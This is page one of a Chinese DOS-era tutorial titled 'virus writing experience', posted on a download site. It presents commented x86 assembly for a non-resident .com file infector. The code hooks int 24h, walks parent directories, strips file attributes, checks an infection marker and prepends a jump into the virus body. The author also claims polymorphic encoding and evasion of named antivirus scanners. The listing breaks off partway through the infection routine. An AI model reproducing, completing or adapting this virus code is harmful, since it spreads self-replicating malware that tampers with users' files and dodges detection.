⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 bingdu.txt

📁 关于黑客的论坛的下载资料
💻 TXT
📖 第 1 页 / 共 2 页
字号:

                                病毒写作心得
                                ^^^^^^^^^^^^
  <序论>:
        各位网友好!! 小弟之所以想写这份文件,是想人们都说DOS 要淘汰了
        ,这对病毒界是多麽大的震撼!!! 想想以後病毒都要钻OS 漏洞来生存
        了,不能像今日大大方方的使用中断,但至少将也会受到限制....
        难保病毒这艺术作品不会成为过往云烟...到时,人们将对此项知识会
        少得可怜,至少也会成为懂OS hole 的人之专利品...无辜人们只会觉
        得无奈罢了.
        写毒,这件事,听来玄,事实上也不难,只要你肯下一些功夫,花一点时间
        去多接触你的 PC ,你的功力就不会只限於玩 Game 而已了.
        事实上,病毒就是一项Programming designing,只是较偏门,不太被人们
        接受...,但多学总是好的,到时你可能会由写毒高手转为AV 的一员,那
        才是我想看到的,况且,没玩过毒...就能成为 AV soft 的作者....打死
        我也不相信!!
  <誓言>:
        你必须发誓,且培养一种心态: 我们是研究病毒,不是变态的疯狂毁灭者!!
        决不做两种人
                   (1)放他人的凶狠病毒之无耻者!!
                   (2)做病毒发作时就毁掉他人的资料之泯灭良心者!!
                              ....至於放不放你自己的作品去测试....
                              随你高兴....但後果你必须自己有心理准备.
  <要求>:
        我要求你
               (1)对 Assemble 有基础.
               (2)对 DOS 内部有一定的了解...至少你要对以下各名词了解.
                  Boot,Psp,Mcb,Fdb,Bpb,Fat,Partition table,中断向量...等.
               (3)有良心和道德!
               (4)不要被当掉!! :)
  <工具>:
        Tasm/Masm,Tlink/Link,Exe2bin,Mem,Debug,文书编辑器.
        以上那些东西...不会用...就不管你了.
        有关PC 内部中断的技术资料.
  <实习>:
        我将从 .com 档的感染方式为你解说.
        还告诉你包括一些破目前大部分扫未知病毒AV soft 的方法.
        也把我个人对编码的技巧说一下.
        和一些经验谈....
        至於 .exe 档的和常驻型的(有点麻烦)...後者...笔者尚在研究.....
        但也会把一些方法告诉你....(那些方法因为容易识破...所以...不愿用,
        好啦!!! 饶了对写毒还没有几个月的htk 吧!!)
  <声明>:
        严禁任意删改本心得.....
        我个人 特别要求/严重要求/死命要求/拜托恳求....以下那些名单之人..
        不要看完本心得後...笑到肚子痛....注意一下风度啦!! 好不好?? :(
        Megadeth /
        hitech /
        TarMax /
        Peter Freng /
        Bugger /
        Dinosaur /(特别强调我师父)
        Harimau ....等
        老外的话...反正看不懂中文没关系..... :)
  <程序>:
        病毒标准程序:
            (1)被启动 {通常是由User 不自觉执行或中断的产生(限常驻)}
            (2)找个适合的档案,<是>就执行(3),<否>就找下一个(2),又没有跳到(4)!
            (3)感染动作
            (4)结束,并恢复宿主的执行权....简单吧??
  <特徵>:
        以下是小弟的一个早期(也没多早嘛)作品....
        (1)感染 .com 档.....(初级嘛!!)
        (2)不常驻...(我不知要藏哪?)
        (3)感染其目录以上的目录之适合档案,一个目录限一个....(是用父目录搜寻)
        (4)属性隐藏防写无效.....(废话!)
        (5)感染後日期时间不变......(理所当然)
        (6)不会发作......(我的原则!!!良心!!道德!!)
        (7)拦截int24 以Disable 掉不幸的防写讯息....(没有想到其他方法)
        (8)有结构化.....(病毒致命伤!! 但为了解说)
        (9)多形编码.....(类似啦!有多形概念呦)
        (10)Pvscan 0.2 版 & Tbav 6.23无法扫得.....(我没有更好的版本测试)
        ps:如有雷同....不用怀疑...一定是...我抄人家的...(啊~~被揪出来了)
  <实作>:
           .model tiny
           ONE SEGMENT                    ;传统的宣告比较好,若用新式宣告法
           ASSUME CS:ONE,DS:ONE,ES:ONE    ;很多的指令组译器不接受!
           org 100h                       ;本母程式为 .com 档
     begin:
           nop                            ;等一下会覆盖此处
           nop                            ;也作为程式结束用
           nop
           nop
     start:             ;病毒本体开始
           call set     ;为了因各种长度的感染档案後的定址
       set:pop bp       ;取得bp 为辅助定址,注意!! 在感染後
 b_replace:             ;那并不是感染前档案原长...是原长还要减4 (why自己想!)
           mov cx,offset set ;从b_replace 到 e_replace 是多形的第一段
      inst:                  ;注意长度要凑好!!
           dec bp            ;为啥不用 pop bp 再用 sub bp,cx 呢?
           nop               ;等一下我会说!!
           nop
           nop
           loop inst         ;最後得到就是重要的bp参考值
 e_replace:
           jmp coder         ;开始玩编码啦!! 咱们先去看一下...
  b1_coder:                     ;我们又回来啦!刚才是install 所以底下根本不影响
           lea si,first_4_bytes[bp] ;可是若是由已感染的档案来...就完成解码啦!
           mov di,100h       ;把di 指向 100h 处,恢复那原程式的码...否则你怎让
           mov cx,2          ;它快乐无事的执行下去?
           rep movsw

           xor ax,ax         ;这是为了拦截 int24h ,把它指向我们的处理常式
           mov ds,ax         ;当然是为了防误写到防写的 DISK 造成writting...的
           mov si,90h        ;讯息呀!!重要!
           lea di,int24[bp]  ;这些都是为了保存 int24h 的原位址
           xchg di,ds:[si]
           mov es:[offset int24_addr+bp],di
           mov di,es         ;全部存到 int24_addr处
           xchg di,ds:[si+2]
           mov es:[offset int24_addr+bp+2],di
           push es
           pop ds
                            ;把DTA 设到咱们病毒後面...
           mov ah,1ah       ;为的是不破坏原程式的命令列参数
           lea dx,dta_addr[bp]
           int 21h
                            ;把目前工作目录储存起来
           mov ah,47h       ;因为到时完成感染後要回来原工作目录呀!!
           xor dx,dx
           lea si,now_dir[bp]
           int 21h
  dir_loop:                ;开始找目标啦!!
           call infect_file ;先从本目录下手....咱们跳过去看一看..走!

           mov ah,3bh        ;再切换另个目录....
           lea dx,dotdot[bp]
           int 21h
           jnc dir_loop    ;失败了...就一定是在根目录...
      over:                ;这里只有防写时会跳来...
           mov ah,3bh      ;切回原工作目录吧!!
           lea dx,now_dir[bp]
           int 21h
                           ;设定原DTA
           mov ah,1ah
           mov dx,80h
           int 21h
                         ;把int24h 恢复吧!!(因为咱们不常驻!!)
           xor ax,ax
           mov ds,ax
           mov si,90h
           mov di,es:[offset int24_addr+bp]
           xchg di,ds:[si]
           mov di,es:[offset int24_addr+bp+2]
           xchg di,ds:[si+2]
           push es
           pop ds

           mov ax,100h     ;把 100h 丢到堆叠
           push ax
           ret        ;用ret 返回罗! 大功告成!!

infect_file PROC NEAR
                            ;来啦!! 先找一个下手....
           mov ah,4eh
           mov cx,0007h     ;各种属性!
           lea dx,file_mark[bp]
           int 21h
           jc none_found   ;没找到.. :( 就跳走!
found_another:
           call check_file  ;找到就check 它啦! 咱们再进去吧! 走!
           mov ah,4fh      ;若未找到可感染的..会回到这里...继续找!!
           int 21h
           jnc found_another
none_found:
           ret             ;回去刚才的 call
infect_file ENDP

check_file PROC NEAR
                           ;把DTA 的有关资讯储存起来.....
           lea si,dta_addr[bp+15h]  ;什麽属性/时间/日期/长度...
           mov cx,4
           lea di,file_attr[bp]
           rep movsw               ;9个bytes ...
           movsb
                                   ;开始动手脚...二话不说...改属性!!
           lea dx,dta_addr[bp+1eh]
           mov ax,4301h            ;设成可以写...
           xor cx,cx
           int 21h                 ;若防写..这时就可以知道了...但是int24h
           jc over            ;被我们拦下来啦!
                             ;否跳回 over 那边有恢复dir/dta/int24h ,不能玩啦!
           mov ax,3d02h
           lea dx,dta_addr[bp+1eh]  ;可以就开档!!
           int 21h

           xchg ax,bx         ;把ax 传回的 handle 给bx ...以後方便!!

           mov ah,3fh        ;读前面4 bytes 到 first_4_bytes ...
           mov cx,4          ;一方面为了check mark ..一方面若未感染..就省到啦!
           lea dx,first_4_bytes[bp]
           int 21h
                                     ;check mark 吧!!
           cmp byte ptr [offset first_4_bytes+bp+3],'K'
           jz c_file      ;一样就跳到 c_file /那边有恢复attrib,关档和日期等...
                          ;没有感染过就把原长剪掉3 byte ,因为你开始的jmp 已经
           mov ax,word ptr [offset file_size+bp] ;占走3 byte 啦!!
           sub ax,3         ;然後写入我们的 jmp(e9) 後的 2 bytes ...干嘛?
           mov word ptr [offset jmp_4_bytes+bp+1],ax  ;否则以後怎跳过来执行??

           mov ax,4200h       ;下一步再把档案指位器...移到最前面...
           xor cx,cx
           xor dx,dx
           int 21h
                             ;写下我们的jmp+跳跃值+'K'mark...共4 bytes

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -